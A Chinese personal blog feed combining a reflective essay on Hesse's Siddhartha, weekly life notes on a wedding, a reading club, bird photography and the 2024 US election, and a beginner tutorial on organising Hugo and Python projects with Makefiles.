用现在的话来说，悉达多是一位“富二代”，既不用担心生计，婚姻，事业也应该想当顺利，是我们非常羡慕的生活状态，这样的世俗人生，似乎没有任何理由主动放弃。

那么，他为什么要出家呢？

关于佛陀想要出家修行的动因，更为直接的描述，则是太子经历四个城门的故事：

有一天悉达多太子出行，在其中一个城门，他见到一个耄耋老人，于是问侍从，这个人为何这般模样？侍从告诉太子，这就是“老”：“夫老者生寿向尽，余命无几，故谓之老。” 第二天，太子又在城门遇见一位重病的人，问侍者这又是什么情况？侍者回答说这是“病人”，太子于是追问什么是“病”，侍者回答说：“众痛迫切，存亡无期，故曰病也。” 又有一天，太子在城门处遇见有人亡故，亲人们嚎哭围绕。太子又问：“死为何？”侍者则回答：“死者，尽也。风先火次，诸根坏败，存亡异趣，室家离别。” 短短数语，道尽了人生的无奈。

当太子再度出游时，却见到街道上有一位出家的沙门，便好奇询问侍者这是何人。侍者告知，那是“沙门”：“舍离恩爱，出家修道，攝御诸根，不染外欲，慈心一切，無所伤害，逢苦不慼，遇乐不欣，能忍如地。” 也就是说，出家修道能让人远离欲望的伤害，并且对于众生升起无尽的慈悲，这让年轻的太子非常羡慕，萌生了出家修行的念头。

而在小说《悉达多》中，黑塞用文学化的方式描述了悉达多的出家时刻：“乔文达意识到：时候到了，悉达多要去走自己的路。他的命运即将萌发。”

那时，三位沙门经过悉达多所在的城邑。他们是去朝圣的苦行者，不老也不年轻。憔悴、消瘦，几乎全裸的身躯被阳光暴晒得焦黑，尘埃和血迹布满肩头。他们是人类王国的异乡人，骨瘦如柴的胡狼。孤独、绝尘，与世界为敌。一种由无声的激情、不惜一切去献身、无情的肉体灭绝构成的灼热气息回旋在他们周身。

在黑塞的小说中，悉达多是主角，他的同伴叫乔文达，书中他俩曾一同去拜访佛陀乔达摩

ps. 私以为，佛祖的本名叫乔达摩 · 悉达多，黑塞将其拆分成两个人物，所以文中的悉达多其实也是佛陀，是悟道的另一条路

沙门修行

悉达多与乔文达一同离开了家乡，开始了一段充满挑战的苦修生活，他们通过冥想、禁食和压抑感官欲望来试图摆脱自我和世俗的束缚。

他遇见女人时目光冷淡，遇见城中穿着华美之人，嘴角流露出轻蔑。他见到商贩经商，君侯外出狩猎，服丧者哀嚎，娼妓出卖色相，医生救治病人，祭司定夺播种之日，情侣们相互爱抚，母亲们哺乳——这一切都让他不屑。

悉达多唯一的目标是堕入空无。无渴慕，无愿望，无梦想。无喜无悲。“我”被去除，不复存在。让空洞的心灵觅得安宁，在无“我”的深思中听便奇迹。这是他的目标。当“我”被彻底征服，当“我”消亡，当渴求和欲望在心中寂灭，那最终的、最深的非“我”存在，那个大秘密，必定觉醒。

然而，悉达多很快就意识到，沙门苦修不过是一种徒劳，并不是真正能够接近觉悟的道路。

悉达多道：“我并不这么看，我的朋友。至今我在沙门处学到的东西，乔文达，我本可以更快更便捷地学到。在花街柳巷的酒馆里，我的朋友，在脚夫和赌徒处，我都能学到。”

遇见乔达摩

沙门的禁欲与苦修，并无法帮助悉达多真正解答关于存在、苦难和解脱的问题。他逐渐意识到，这些修行方式虽然提供了某种控制欲望的方法，却不能触及生命的本质。正是在这种疑惑与不满足的驱使下，悉达多听闻了佛陀——乔达摩前来宣法，于是便于乔文达一同拜访了佛陀。

夜幕降临，酷热消歇，祗园中的人们活跃起来，聚集在一处聆听佛陀宣法。这时，他们听见佛陀的声音。那声音美满，安宁，平和。他论苦谛，苦之缘起及其灭往何处去。他平静的论述安详清晰。苦乃人生实相，但离苦之道业已被发觉，跟随佛陀即可脱离苦海。世尊以柔和坚定的声音论四圣谛，讲八正道。他耐心地以惯常的方式讲经，举证，温故。他的声音明亮而安静地盘旋在听者上空，如光影，如星辰。

乔文达立即为佛陀的智慧，宁静的气质与深刻的洞察力所拜服，并想要追随佛陀修行而悉达多却不愿成为佛陀的追随者，

乔文达不断地追问他的朋友，他想听他解释，他为何不容身乔达摩之法义，他在他的法义中发现了什么瑕疵。而悉达多却总是驳回追问：“不要再问了，乔文达！佛陀的法义非常之好，我怎么可能发现瑕疵？”

然而悉达多确实发现了乔达摩的缺陷，他清楚地意识到，每个人的觉悟之路是独特的，无法通过模仿或追随他人来获得。佛陀已经完成了他的修行道路，而悉达多必须去探索属于自己的道路。

只是，在您的法义中，在统一、逻辑完善的万物中却存在一个断裂之处。这一小小的缝隙让这个统一的世界呈现出些许陌生、些许新奇；呈现出些许迥异于从前，且无法被证实的东西：那就是您的超世拔俗，获得解脱的法义。这个小漏洞，这个小断裂，让永恒统一的世界法则变得破碎，失去效力。但愿您能宽恕我所提出的异议。” 哦，世尊佛陀，您从未以言辞或法义宣讲您在证觉成道之际所发生的事！世尊佛陀的法义多教人诸善奉行，诸恶莫作。在明晰又可敬的法义中不包含世尊的历程，那个您独自超越众生的秘密。这就是我在聆听法义时思考和认识的。这就是我为何要继续我的求道之路——并非去寻找更好的法义，我知道它并不存在——而是为摆脱所有圣贤及法义，独自去实现我的目标，或者去幻灭

在这一刻，悉达多与乔文达分道扬镳。他想要独自去实现他的目标，或者走向幻灭。

另一条悟道之路告别沙门生活之后，悉达多才开始体验到真正的生活

他环视四周，宛如与世界初逢。世界是美的，绚烂的；世界是奇异的，神秘的！这儿是湛蓝，这儿是灿黄，那儿是艳绿。高天河流飘逸，森林山峦高耸。一切都是美的。一切都充满秘密和魔力。而置身其中的他，悉达多，这个苏醒之人，正走向他自己。

原来的他，曾一直把现实世界看做虚妄，看做偶然和毫无价值的皮毛，但现在他已真正觉醒，他开始从头开始新的生活。

他遇到了聪慧美丽的妓女迦摩罗，向她学习爱情的艺术，开始接触世俗的享乐，开始学习经商之道，凭借着自己的智慧，又过上了奢华而舒适的生活。

但是呢，他也逐渐被物质的欲望吞噬：

世俗将他囚禁。情欲、贪欲和惰性，以及他最蔑视、时常嘲笑、视为最愚昧的唯利是图俘虏了他。他拜倒在钱财下。赚钱于他不再是游戏和琐事，而是枷锁和负荷。

于是他又开始对这种生活方式感到厌倦和厌恶，在经历了世俗生活的美与苦之后，他又重新走上了悟道之路。

作为他的伴侣，迦摩罗其实是非常了解悉达多的

唯有聪明的迦摩罗深知，他内心仍是个沙门。指引他生活的一直是思考、等待和斋戒的技艺。他和孩童般的世人间彼此依旧陌生。

我在看到这句话的时候写了个批注：这其实就是很多中国人的真实写照，入世则克己复礼，杀身成仁，出世则清心寡欲，黄粱一梦。如果用大白话来说的话就是，卷又卷不过，躺又躺不平。

于是悉达多选择了离开，他好似涅槃一样，又重新回到了一无所有，只是，此刻他已青春逝去，两鬓斑白，体力渐衰。

他只盼忘掉自己，得到安宁，甚至死去。只求闪电击毙他！虎狼吞噬他！只求一杯毒酒麻醉他，让他遗忘、沉睡，永不醒来！这世上还有哪种秽迹他没习染？还有什么罪孽和蠢行他没触及？还有哪一隅灵魂的荒蛮之地他没驻足？他岂能再活？再呼吸？再感觉饥饿，再吃，再睡，再和女人同笫？这轮回不是耗尽和桎梏了他？那么，他想：无常之物已远离我。像儿时一样，我又一无所有，一无所能，无力又无知地站在阳光下。多么奇异！在青春逝去、两鬓斑白、体力渐衰的时候一切从儿时开始！他笑了。

我曾不记得是从哪里看到过一篇古文，说人生快意之事无非是金榜题名，洞房花烛。但真正最值得铭刻的，莫过于你正得意之时，被一棒子打到在地，失去所有，从零开始，这也是当前悉达多的真实写照吧

河边悟道最后他来到了一条河边，此刻他已老去，变得很普通的老头别无二致。就在他濒临崩溃的时刻，河水的声音唤醒了他。他开始学会了倾听河流的声音，学会欣赏山川草木，一花一石。平静流淌着的水流，让他重新感受到了生命的意义，“逝者如斯，而未尝往也；盈虚者如彼，而卒莫消长也。” 河流并不会因为他的绝望而改变，它依然流淌不息，仿佛在向他诉说着某种深刻的真理此刻，悉达多已不再执着于追求外在的真理，而是接受了生命本身。

也许，真正的智慧本来就不是通过抗争或逃避获得的，而是通过与生命和解、接受万物的本来面貌来实现的

这个， ”他摆弄着， “是一块石头。一段时间后，它或许成为土，生出植物，变成动物，变成人。过去我会说，它不过是块石头，毫无价值... 但今天我却想，这块石头就是石头。它也是动物，是神，是佛。我不会因它终将变为这个或那个而敬爱它，而会因为它一直是石头——正因为它是石头——今天和现在出现在我面前的石头而爱它。看到它每条纹理中，每道沟渠中，黄色、灰色中，坚硬中，我敲击它发出的声音中，它表面的干燥和潮湿中存在的意义和价值。有些石头如油如皂，有些像叶似沙，每块石头都不同，都以其特有的方式念诵着‘唵’。每块石头都是梵天，但同时，它又确实是石头。

有一句点评写得好，只有经历过的那些体验，才有了此刻的你（此处回应开头伏笔）

你是你接触过的人，碰到过的物，感受过的情爱，迷失过的痛苦，家乡的老树，街边的路灯，吃过的烧烤摊……等等所有的体验，才有此刻的你。

悉达多从年少时轻蔑欲望，到青年时拒绝欲望，到中年时沉迷欲望，到老年时超脱欲望，不断从经历中看到自己的“我”，摈弃了善恶，至此，他能够对现实生活中的人们有了更深层次的理解，听到了河流的生命，当悉达多专注于河水咆哮的交响，他不再听到哀，听到笑，当他的灵魂不再执念于一种声音，自我不再被占据，而是倾听一切，倾听整体和统一时，这伟大的交响，凝成一个字，这个字就是“唵”，意为圆满。悉达多和佛陀一样，最终成就了自己的生命。

我读完《悉达多》的时候，最先浮现在脑海边的就是蒋捷的这首虞美人：

少年听雨歌楼上，红烛昏罗帐。壮年听雨客舟中，江阔云低、断雁叫西风。而今听雨僧庐下，鬓已星星也。悲欢离合总无情，一任阶前、点滴到天明。 —— 蒋捷《虞美人 · 听雨》

这首词以“听雨”的切入点，时空跳跃，三幅不同场景下的听雨画面，有点类似一个长焦镜头，将人生的一幅画卷压缩到了极致少年时：不识愁滋味，“钿头银篦击节碎，血色罗裙翻酒污，今年欢笑复明年” 中年时：颠沛流离的悲凉沧桑；老年时：历尽离乱后的憔悴枯槁一生的悲欢离合，谁也说不清，听那窗前的秋雨一无所动，任它滴滴答答直到天明。

同样的视角，王国维在《人间词话》中总结的三重境界也有异曲同工之妙：第一重境界：“昨夜西风凋碧树，独上高楼，望尽天涯路”；—— 悉达多舍弃富足的生活，毅然踏上了沙门的苦修之路。第二重境界：“衣带渐宽终不悔，为伊消得人憔悴”；——悉达多经历沙门的苦修生活第三重境界：“众里寻他千百度，蓦然回首，那人却在灯火阑珊处”。—— 悉达多最后在河边悟道

那么悉达多悟到了什么呢？

世间的每一瞬间皆为圆满。一切罪孽都承载宽赦，所有孩童身上都栖息老人，所有新生儿身上都栖息亡者，所有将死之人都孕育永恒的生命。没人能看清他者的道路。强盗和赌徒的路或许通向佛陀，婆罗门的路或许通往强盗。在最深的禅定中存在这种可能：时间被终结，人视过往、当下和未来的生活为同时。这时，一切皆为善、圆满和梵天。因此在我看来，世间存在的一切皆好。

可以总结为： 1.时间：每一个瞬间都有其存在的意义，当你超越时间的限制来看待生命时，一切都是圆满和统一的 2.善恶：即便是看似堕落的路径，也可能带来觉悟；而看似纯净的道路，也可能引向迷失。 3.万物皆为善：梵天象征着宇宙的最高统一性，它包容一切，无论是我们眼中的“好”还是“坏”。

感悟读这本书的时候，一些曾经记得的句子总是会在我脑海里回响 “不入世，不足以谈出世。最高深的修行不是在寺庙山林，而是在菜场写字楼，” “没逛过菜市场，不足以语人生” “我欲乘风归去，又恐琼楼玉宇，高处不胜寒” “你要去爱具体的人，而不是爱抽象的人”

厌恶生活又受困于生活，对生活的种种表示鄙夷，却又在生活面前臣服，昂着头下跪。

我常因为自己参透了很多道理，看透了事物的本质而沾沾自喜，冷漠地凝视着那些还在迷局中的人们，自视与他人不同，其实自己也还并未探明前路。真正拥有大爱的人不应该是冷漠的，应该是包容、温柔、懂得倾听和拥抱苦难的人，这样的人才真的能助人渡河。

你看悉达多当苦行僧的时候，用尽各种办法，希望能够忘记自己、放下自己，可是怎么都忘不掉、放不下。后来他阅尽人间繁华，享受人间一切，所有的世俗都明白之后，突然就开悟了。

我们其实害怕自己的欲望，因为“人的欲望就如同高山上的滚石，一旦开始，就再也停不住了”，于是我们着迷于那些自律的神话，妄图通过苦修，压抑来抵制它。但不妨多给自己一点自信，试着去满足自己的欲望，到一定时候，“你就会像我一样精疲力尽，坐回到自己的位子上才发现，原来我想要的一切都已经在我出发的地方等着我了。”

其实哪有那么多超然物外，淡泊名利，宁静致远，大胆去体验就行了。

周报34 参加婚礼、打鸟与《平面国》

Thu, 28 Nov 2024 00:00:00 GMT

周报34 参加婚礼、打鸟与《平面国》

https://open.spotify.com/track/5Lu0vv78RmKZeBPpP1N8za?si=CcoqH4GYT_2TmkZ_n_YktQ&context=spotify%3Aalbum%3A1Ca9JdekdlYxnlCMCtVsdR

出自我非常喜欢的一位歌手Mokita的作品《with you》

参加婚礼

今年早些时候就收到了文杰的婚礼邀请，虽然在不同的部门，但在读书会的活动中我们也是并肩作战的伙伴，更让人羡慕的是，他和灯灯的爱情故事实在太过浪漫而美好

还记得3月份的时候，我有幸参与了文杰精心策划的求婚活动，流程安排之细腻，心思之缜密，让我不禁感叹，这个男人，确实有他的独到之处 :joy:

这是我第一次亲身体验西式的婚礼，以往只在美剧中见过这样的场景，没想到这次也能成为这浪漫场合的见证者。

当文杰在婚礼上再一次追溯起他与灯灯相识的点点滴滴时，每一个细节都让人动容。从交往的第一天开始，到第一次约会，第一次看电影，第一次在雨中共撑一把伞，第一次同住一室，第一次生病时的相互照顾，第一次送花的惊喜……这些平凡的瞬间，构成了他们爱情故事中最动人的篇章。

细节，往往是最能打动人心的。记得他们第一次玩桌游时，两人仿佛就有说不完的话，那种默契与节拍似乎与生俱来。还有，为了不让鼠标的声音打扰到灯灯的休息，文杰甚至选择在洗手间开辟了第二个办公场所——虽然他本可以使用一个静音鼠标的哈哈哈 :joy:

衷心祝福这一对新人~，愿他们携手共度的每一天，都如同这婚礼一样，充满欢声笑语

ps. 我们摄影群的小伙伴直接抛下了新郎新娘，拍下了一张非常happy的合影

平面国

川哥自从读完《平面国》之后，就一直逢人推荐这本书，同时也一直计划着开一期读书会，奈何一直没有机会，总是搁浅于各种乱七八糟的事情，这次终于赶上了

深圳的周末总是要跟打工人作对的，工作日晴空万里，一到周末就来台风。“这该死的台风，偏偏选在每一个的周末！”

在计划这次读书会的时候，我们就打算如果早上的天气预报还显示有雨就转移到室内，但临开始前一小时还是下起了小雨，但我们这一群人无所畏惧，竹杖芒鞋，也在乎不了那么多了。

万幸小雨一会就停了，雨后的空气，泥土的芬芳，雨后的阳光懒懒地投射在草坪上，我们的读书会就开始了。

《平面国》这本书值得一个“神作”的头衔，难以想象在上上世纪作者就能构建出一个多维的世界，难道他真的是一个天才？:joy:

雨过天晴后的夕阳总是能给人惊喜的，不信你看

打鸟

最后放一些打鸟记录吧

值得分享的记录

好像也没啥太多值得分享的，欢迎join我的频道 https://t.me/RayeJourney

周报33 立冬

Mon, 11 Nov 2024 00:00:00 GMT

周报33 立冬

https://open.spotify.com/track/0j2l3sf15o9vczIATwA3Xr?si=ZNKbDRK9Td6-MM41yOCJEw&context=spotify%3Aalbum%3A653YWJ1EZLWEvUdE6Kc8WL

出自我非常喜欢的一位歌手Jeremy Zucker，今年11月发布最新的专辑《brent iii》

具体的生活细节永远是比较平淡的，但是蕴藏在其中又有一些惊喜。它们可能闪现与一首与你灵魂共振的歌曲，闪现于一两句书中的摘录，闪现于一段视频中。

如果有一个观察者拿着放大镜仔细观察一个人一生的每一0.000000...001秒钟（假设有这样一个时间单位），注意我说的时间其实也是可以观察的，因为它不过就是类似长度的一个单位罢了。

它其实会发现人是根本没有动的，想想“飞矢不动”理论吧。这样的工作也太无聊了吧，还不如把这个人晾在一边，等想起来了再看看。

这样的观察才是有意思的，那么这么说，是不是连续不间断的人生其实没有什么特殊的趣味呢？只有片段化的，离散的，才是最值得铭刻的。

如果离散化的人生也有一个最小不可分割的计量单位，那是什么呢？

ps. 11月7日立冬了，刚好二十多年前一个人出生了

是为本周报序

付航牛逼！

付航最后一期的视频，第二次看确实会觉得很感人，也无外乎评委们及现场观众都是又哭又笑的

我第一遍看的时候，其实并不能理解为什么这样一个长得像”猴“的人，略显浮夸的表演，能拿下冠军

但当我把决赛每位选手都看完之后，尤其付航前一场，小鹿的表演可以说是有些冷场，付航面临的的难度更加可想而知

但他还是出色的完成了，凭借他优秀的文本，对于悲喜剧融合的艺术

他开场的时候就说到，这是喜剧之王，又不是悲剧之王

但他的演绎中，我能感受到悲喜剧本就是一体的，尤其他讲到他的女朋友时：

”你还记得我说过这些话吗“

”哎呀说这些干嘛，怪恶心的“，”不过付航你要记住，早点回来，我在家里等你“

我愿称之为对人类感情描述的最佳文本了

参见懂王

抛开大立场，特朗普真是大丈夫当如是，当年白宫晚宴被嘲讽，素人打穿希拉里。4年前光环被斩尽，随后而来的嘲笑、污蔑、栽赃、刺杀，78岁子弹擦伤仍然高呼战斗，美国巅峰时期那代人的精气神真的在他身上体现的淋漓尽致。这老头越是逆境越是顽强，活到这地步人真的无遗憾了。

美国大选最后投票定格在了312:226，懂王拿下了所有摇摆州，意料之外，情理之中了。

坊间基本都在说，懂王这次可以说是大赢特赢，立法、司法、行政三权基本都掌握在自己人手里，完全可以登基加冕称帝了。

今年不知道为什么额外关注大选，尤其是拜登退出，哈里斯接任后，美国大选相关的视频几乎是一个不落地在刷。

选举前，从哈里斯和特朗普的种种表现来看，我都是几乎无条件相信懂王会胜选了（除非民主党搞一些小手段）

真的非常讨厌民主党，那一套歪曲的政治正确理论，怎么都无法洗清楚，懂王的回归可以说是挽救了美国的命运（奇怪为啥我这么高兴哈哈哈，但不管怎样中国一定是最后的赢家）

最近看书，有个作者提出了一条比较有意思的理论：

在中国，基本都是对人不对事的，那些当官的，但凡涉及到一点政治黑点，基本就走不下去了，不止是官员，连我们普通人也时刻生活在这样的压力之下，但凡有一些在旁人眼中看起来“出格”的动作，就会“社死”

生活在集体社会中，免不了时时刻刻要和别人打交道，不管现在互联网公司怎么强调要“对事不对人”，但社交的压力其实一直都存在。

反观在西方，是经典的“对事不对人”，总统候选人可以被判刑，有政治黑点的人照样可以继续他的政治生涯，普通人则更加不在乎别人的看法。

尽管现在大城市中的我们，逐渐演化出原子化的个人状态，可是你所在的公司、你所在的社群、都是你的压力来源。

每当一个吃瓜的pdf在微信群传播，我总是在想，这背后的人到底要承担多大的压力，要有多强大的内心，才能抵抗得住这背后无数双眼睛的贪婪目光。

扯远了，庆祝下懂王，也祝福那些买了川大智胜股票的人吧哈哈。

一些值得分享的事物

6点半的深圳，蓝色的天，残留的路灯，远处的春笋，感觉还挺有意境

追不到的晚霞（in 前海石公园）

打车的时候偶然发现后排座位也有这样一个后视镜，感觉非常有用，这样每次下车的时候就不用提心吊胆后面有没有车或者人来了，建议普及。

感觉很多事情就是这样，靠贴标语、喊口号，其实比不上真正的实物有用

书音播

动漫：

《双城之战》太好看liao~，可恨我第一季都没看完，先恶补一段时间

音乐：

Jeremy Zucker 最新的专辑《brent iii》非常推荐，不插电的风格，吉他弹唱，恰到好处的男女声

播客：

三联《拼命寻找旷野的年轻人，却正在丢失“附近”？》https://www.xiaoyuzhoufm.com/episode/671b78f244ae79002c038667?utm_source=rss

摘录的一些金句观点：

落叶作为秋天最美的一种风景，为什么没办法长久地被人看到呢
有点好笑，我们生活在都市里，却缺少了对自然的敏感，越来越“钝感力”哈哈哈
互联网只会加速某种趋势，而不是创造某种趋势，不要让互联网背锅

更多分享可以加入我的频道：https://t.me/RayeJourney

周报33 立冬

Mon, 11 Nov 2024 00:00:00 GMT

周报33 立冬

https://open.spotify.com/track/0j2l3sf15o9vczIATwA3Xr?si=ZNKbDRK9Td6-MM41yOCJEw&context=spotify%3Aalbum%3A653YWJ1EZLWEvUdE6Kc8WL

出自我非常喜欢的一位歌手Jeremy Zucker，今年11月发布最新的专辑《brent iii》

它其实会发现人是根本没有动的，想想“飞矢不动”理论吧。这样的工作也太无聊了吧，还不如把这个人晾在一边，等想起来了再看看。

这样的观察才是有意思的，那么这么说，是不是连续不间断的人生其实没有什么特殊的趣味呢？只有片段化的，离散的，才是最值得铭刻的。

如果离散化的人生也有一个最小不可分割的计量单位，那是什么呢？

ps. 11月7日立冬了，刚好二十多年前一个人出生了

是为本周报序

付航牛逼！

付航最后一期的视频，第二次看确实会觉得很感人，也无外乎评委们及现场观众都是又哭又笑的

我第一遍看的时候，其实并不能理解为什么这样一个长得像”猴“的人，略显浮夸的表演，能拿下冠军

但当我把决赛每位选手都看完之后，尤其付航前一场，小鹿的表演可以说是有些冷场，付航面临的的难度更加可想而知

但他还是出色的完成了，凭借他优秀的文本，对于悲喜剧融合的艺术

他开场的时候就说到，这是喜剧之王，又不是悲剧之王

但他的演绎中，我能感受到悲喜剧本就是一体的，尤其他讲到他的女朋友时：

”你还记得我说过这些话吗“

”哎呀说这些干嘛，怪恶心的“，”不过付航你要记住，早点回来，我在家里等你“

我愿称之为对人类感情描述的最佳文本了

参见懂王

抛开大立场，特朗普真是大丈夫当如是，当年白宫晚宴被嘲讽，素人打穿希拉里。4年前光环被斩尽，随后而来的嘲笑、污蔑、栽赃、刺杀，78岁子弹擦伤仍然高呼战斗，美国巅峰时期那代人的精气神真的在他身上体现的淋漓尽致。这老头越是逆境越是顽强，活到这地步人真的无遗憾了。

美国大选最后投票定格在了312:226，懂王拿下了所有摇摆州，意料之外，情理之中了。

坊间基本都在说，懂王这次可以说是大赢特赢，立法、司法、行政三权基本都掌握在自己人手里，完全可以登基加冕称帝了。

今年不知道为什么额外关注大选，尤其是拜登退出，哈里斯接任后，美国大选相关的视频几乎是一个不落地在刷。

选举前，从哈里斯和特朗普的种种表现来看，我都是几乎无条件相信懂王会胜选了（除非民主党搞一些小手段）

最近看书，有个作者提出了一条比较有意思的理论：

生活在集体社会中，免不了时时刻刻要和别人打交道，不管现在互联网公司怎么强调要“对事不对人”，但社交的压力其实一直都存在。

反观在西方，是经典的“对事不对人”，总统候选人可以被判刑，有政治黑点的人照样可以继续他的政治生涯，普通人则更加不在乎别人的看法。

尽管现在大城市中的我们，逐渐演化出原子化的个人状态，可是你所在的公司、你所在的社群、都是你的压力来源。

每当一个吃瓜的pdf在微信群传播，我总是在想，这背后的人到底要承担多大的压力，要有多强大的内心，才能抵抗得住这背后无数双眼睛的贪婪目光。

扯远了，庆祝下懂王，也祝福那些买了川大智胜股票的人吧哈哈。

一些值得分享的事物

6点半的深圳，蓝色的天，残留的路灯，远处的春笋，感觉还挺有意境

追不到的晚霞（in 前海石公园）

打车的时候偶然发现后排座位也有这样一个后视镜，感觉非常有用，这样每次下车的时候就不用提心吊胆后面有没有车或者人来了，建议普及。

感觉很多事情就是这样，靠贴标语、喊口号，其实比不上真正的实物有用

书音播

动漫：

《双城之战》太好看liao~，可恨我第一季都没看完，先恶补一段时间

音乐：

Jeremy Zucker 最新的专辑《brent iii》非常推荐，不插电的风格，吉他弹唱，恰到好处的男女声

播客：

三联《拼命寻找旷野的年轻人，却正在丢失“附近”？》https://www.xiaoyuzhoufm.com/episode/671b78f244ae79002c038667?utm_source=rss

摘录的一些金句观点：

落叶作为秋天最美的一种风景，为什么没办法长久地被人看到呢
有点好笑，我们生活在都市里，却缺少了对自然的敏感，越来越“钝感力”哈哈哈
互联网只会加速某种趋势，而不是创造某种趋势，不要让互联网背锅

更多分享可以加入我的频道：https://t.me/RayeJourney

学习使用Makefile来管理项目

Mon, 11 Nov 2024 00:00:00 GMT

学习使用Makefile来管理项目

一直以为Makefile是独属于C++项目的，看到这个文件就比较头大，因为少不了需要执行一堆make命令来等待编译链接。

不过最近才了解到，make命令其实并没有那么神秘，相反，它可以有效地组织开发项目中会使用到的各种命令、环境变量、shell命令等。

除此之外，Makefile的一大好处就是可以配置一些自动化的前置步骤，比如python项目的pip install， node项目的npm install等

最后，Makefile还可以依赖本地的文件，如果文件没有更新，则与之相应的任务并不会执行，有点类似于本地的CI了

接下来就认识一下Makefile的简单编写以及实例吧

Makefile的基础语法

.PHONY

因为Makefile的设计初衷其实是监控本地的文件是否有更新，再去触发一系列动作，所以单纯的shell命令执行得使用.PHONY（虚假）来实现，比如

dev:
	@echo "Hello, world!"
.PHONY: dev

依赖

Makefile是分步骤进行的，每一个步骤都会有其前置任务，其写法一般是：

target1 [target2 ...]: [pre-req1 pre-req2 pre-req3 ...]
    [recipes
    ...]

最简单的举例，比如我们想执行一个next.js项目的本地预览，其前置条件必须是已经安装了对应的dependences，那么就可以这样写：

dev: node_modules  开启本地服务
	@./node_modules/.bin/next dev
.PHONY: dev

node_modules: package.json
	@yarn install

这里就构成了一个依赖的执行顺序：

执行 make dev，会检查前置条件 node_modules（注意这是一个步骤的命名）
node_modules步骤依赖于package.json，即首先会执行一次 yarn install，后续如果package.json如果更新了才会执行

根据上述简单的示例就可以看到，Makefile可以让我们清晰有序地管理一些常见的开发步骤，免去诸如修改package.json但是忘记执行yarn install的“悲剧”

帮助文档

可以看到在上面的示例中，有通过 `` 来编写注释

此时如果在Makefile中加入下面这段：

help:  Show this help
	@echo "\nSpecify a command. The choices are:\n"
	@grep -E '^[0-9a-zA-Z_-]+:.*? .*$$' $(MAKEFILE_LIST) | awk 'BEGIN {FS = ":.*? "}; {printf "  \033[0;36m%-12s\033[m %s\n", $$1, $$2}'
	@echo ""
.PHONY: help

就可以自动生成注释了，即输入 make help 自动打印帮助文档，是不是非常神奇呢hh

简单示例：使用Makefile来管理你的hugo博客

hugo管理博客有几个最简单的命令，如开启服务器，生成站点静态文件等，我们可以将其都放在一个Makefile中

all: help  默认打开帮助文档


serve:  启动服务器
	@echo "Starting Hugo server..."
	hugo server

build:  构建站点
	@echo "Building the site..."
	hugo 

clean:  清理生成的文件
	@echo "Cleaning up the public directory..."
	rm -rf public/

help:  Show this help
	@echo "\nSpecify a command. The choices are:\n"
	@grep -E '^[0-9a-zA-Z_-]+:.*? .*$$' $(MAKEFILE_LIST) | awk 'BEGIN {FS = ":.*? "}; {printf "  \033[0;36m%-12s\033[m %s\n", $$1, $$2}'
	@echo ""

.PHONY: all serve build clean help

默认的命令 all 就是显示帮助文档，而帮助文档的生成只需要写清楚注释即可自动完成，现在输入make命令的效果如下：

$:~/develop$ make

Specify a command. The choices are:

  all          默认打开帮助文档
  serve        启动服务器
  build        构建站点
  clean        清理生成的文件
  help         Show this help

当然这里只是最简单的展示，你还可以根据需要添加对应的依赖文件，以及 new post的操作也都是可以集成进来的。

一步步使用Makefile来管理python项目

简单版本首先，假设我们的python项目入口为app.py，那么我们最终执行的目标就是

run:  记得加注释，可以自动生成帮助文档
  python app.py
.PHONY run  因为并没有依赖文件，所以需要使用.PHONY

其次，python肯定有前置依赖需要安装，一般依赖都会写在 requirements.txt，于是我们有

setup: requirements.txt
    pip install -r requirements.txt

当然，一般还会补充一个clean的命令，于是有

clean:
    rm -rf __pycache__

进阶版本

由于每个人电脑上本地的python环境变量都不同，当然这个也可以用docker来解决，不过python本身提供了venv这种更轻量级的解决方案，于是可以

python3 -m venv venv

-m venv代表使用venv命令，创建一个虚拟环境，位于venv目录

此时安装依赖就可以使用

./venv/bin/pip install -r requirements.txt

因为此时pip是位于 ./venv/bin/ 目录下的

所以得到Makefile

venv/bin/activate: requirements.txt
 python3 -m venv venv
 ./venv/bin/pip install -r requirements.txt

但是每次都要写 ./venv/bin/ 比较麻烦，可以使用变量做一下简化

即声明一个变量 VENV 它的值默认为 venv 目录，但是你也可以通过命令行传递的方式来修改

引用变量的方式则是 $(VENV)，可以理解为简单的字符串替换，于是Makefile就可以修改为：

VENV = venv
PYTHON = $(VENV)/bin/python3
PIP = $(VENV)/bin/pip

run: $(VENV)/bin/activate
 $(PYTHON) app.py
.PHONY run


$(VENV)/bin/activate: requirements.txt
 python3 -m venv $(VENV)
 $(PIP) install -r requirements.txt


clean:
 rm -rf __pycache__
 rm -rf $(VENV)
.PHONY clean

简单总结

有了GPT之后，其实Makefile完全可以让GPT来代劳，对于其语法完全可以做一个简单了解，能看懂就行了，所以我也只列举出了最简单的语法以及对应的示例。

不得不说有了AI之后，诸如此类的工作已经完全不用开发者操心了。从另一个方面来说，以前觉得一些麻烦的，不太想了解的技术细节，其实往往有很多意想不到的作用。

具体到Makefile，完全可以将其当做一系列命令的封装，以及一些繁琐依赖人工记录的步骤，甚至可以将其当做README文件来使用了。

周报32 第三次感动

Wed, 06 Nov 2024 00:00:00 GMT

周报32 第三次感动

https://open.spotify.com/track/0plHBfV2PAWAFKGvhTfMLC?si=-KSGF-pZSpCy8195bVrccA&context=spotify%3Aalbum%3A6F8uiNvpfUdMTpPGPRCK6o

我最喜欢的歌手萨莎，出自她今年的新专辑《Me Again》

我自觉是一个很难坚持长久做一件事情的人，过于理想主义，或者说是天真加上完美主义吧，总是容易头脑发热，却又无法长期坚持下去

本来以为写博客也是这样一个半途而废的事情，最开始是被xlog这样一个开放包容的开源创作社区所感动，拥有一个web3的博客是一件非常cool的事情。

在融入xlog社区之后，也不断经营自己的blog，认识到了同样很多写独立博客的朋友，在书写自己生活的同时，也总是能收获到一些认同感，同时也被追求独立博客的愿景所感动。

然而随着工作上日渐繁忙，以及自己状态的持续低迷，我好像开始逃离这一切。喜剧之王单口秀上，阎鹤祥讲述自己为了逃离郭麒麟，逃离说相声，他骑着摩托车，穿过中亚欧洲，越过大西洋，越过巴拿马海峡，抵达潘帕斯草原，来到了地球上离自己家乡最远的对跖点。

在这个点上，是他离自己烦恼最远的地方，你再也无法迈开任何一步，你想爬到最高处，离烦恼更远一点，可是那连一棵树都没有。

但反过来，你之后走的每一步，都是离自己曾经的梦想又近了一步。

我本来并不打算去尝试follow应用的，因为我知道我自己连rss订阅应用都换了好几个，也并没有坚持把rss的阅读习惯培养起来。

但当我下载体验之后，我知道这确实是一个只存在于理想中的应用，虽然它可能还有一些不完美的地方，但它确实就是我今年的最佳应用了

